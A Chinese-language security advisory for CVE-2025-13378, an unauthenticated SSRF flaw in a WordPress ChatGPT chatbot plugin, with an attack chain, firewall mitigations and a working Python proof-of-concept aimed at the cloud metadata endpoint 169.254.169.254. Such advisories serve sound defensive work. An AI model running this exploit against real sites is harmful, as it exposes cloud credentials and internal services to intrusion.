IPBUF安全漏洞报告
English
CVE-2025-13378 CVSS 6.5 中危

CVE-2025-13378 WordPress AYS ChatGPT插件SSRF漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-13378
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress

相关标签

SSRFWordPress插件漏洞AYS ChatGPT服务器端请求伪造无需认证CVE-2025-13378

漏洞概述

CVE-2025-13378是WordPress平台上一款流行的AI聊天机器人插件的安全漏洞。该插件名为"AI ChatBot with ChatGPT and Content Generator by AYS",集成了ChatGPT功能并提供内容生成能力。漏洞存在于插件的ays_chatgpt_pinecone_upsert函数中,攻击者可以未经认证利用此漏洞发起服务器端请求伪造攻击。由于该插件被广泛应用于WordPress网站,攻击者可以利用此漏洞探测内网服务、访问内部API接口、读取本地文件内容,甚至可能通过内网服务进行进一步渗透。此漏洞无需用户交互即可利用,对使用该插件的所有WordPress网站构成中等程度的安全威胁。

技术细节

该漏洞属于典型的服务器端请求伪造(Server-Side Request Forgery, SSRF)类型。漏洞点位于插件的ays_chatgpt_pinecone_upsert函数,该函数在处理用户输入时未能对目标URL进行严格的过滤和验证。攻击者可以通过构造特殊的请求参数,指定任意URL作为请求目标,服务器会代替攻击者发起请求。由于请求是从服务器端发起的,攻击者可以绕过防火墙等边界防护设备的限制,访问本应仅限内网访问的资源。攻击者通常利用此漏洞探测内网拓扑结构、访问云服务的元数据接口(如AWS EC2元数据服务)、读取内部数据库配置、探测内网Web服务的指纹信息等。CVSS 3.1评分6.5分,攻击复杂度低,无需认证和用户交互,但机密性和完整性影响均为低。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站是否使用AYS ChatGPT插件,可通过插件指纹识别或检查页面源码中的特征字符串
STEP 2
步骤2: 构造恶意请求
攻击者构造针对admin-ajax.php的POST请求,在action参数中指定ays_chatgpt_pinecone_upsert,并设置endpoint参数指向攻击者想要访问的内部资源
STEP 3
步骤3: 发送SSRF请求
攻击者发送构造好的请求,服务器端插件会解析参数并使用服务器身份向指定的内部URL发起HTTP请求
STEP 4
步骤4: 获取响应数据
服务器的响应会被返回给攻击者,攻击者由此获取内网服务的信息,如云服务元数据、内部API响应等敏感信息
STEP 5
步骤5: 内网渗透扩展
攻击者利用获取的内部信息进一步探测内网环境,寻找可利用的服务或凭据,进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13378 SSRF PoC # Target: WordPress site with AYS ChatGPT plugin <= 2.7.0 # Vulnerability: ays_chatgpt_pinecone_upsert function SSRF def exploit_srf(target_url, internal_target): """ Exploit SSRF vulnerability in ays_chatgpt_pinecone_upsert function Args: target_url: Target WordPress site URL internal_target: Internal resource to target (e.g., http://169.254.169.254/) Returns: Response from the internal request """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request targeting the vulnerable function data = { 'action': 'ays_chatgpt_pinecone_upsert', 'endpoint': internal_target, 'api_key': 'test', 'index_name': 'test_index' } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Request sent to: {internal_target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13378.py <target_url> <internal_target>") print("Example: python cve-2025-13378.py http://example.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_srf(target, internal)

影响范围

AI ChatBot with ChatGPT and Content Generator by AYS plugin <= 2.7.0

防御指南

临时缓解措施
如果无法立即升级,可临时禁用AYS ChatGPT插件,同时在Web服务器层面配置规则限制对admin-ajax.php的滥用请求。建议使用防火墙规则阻止对内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)及云服务商元数据地址(169.254.169.254)的访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表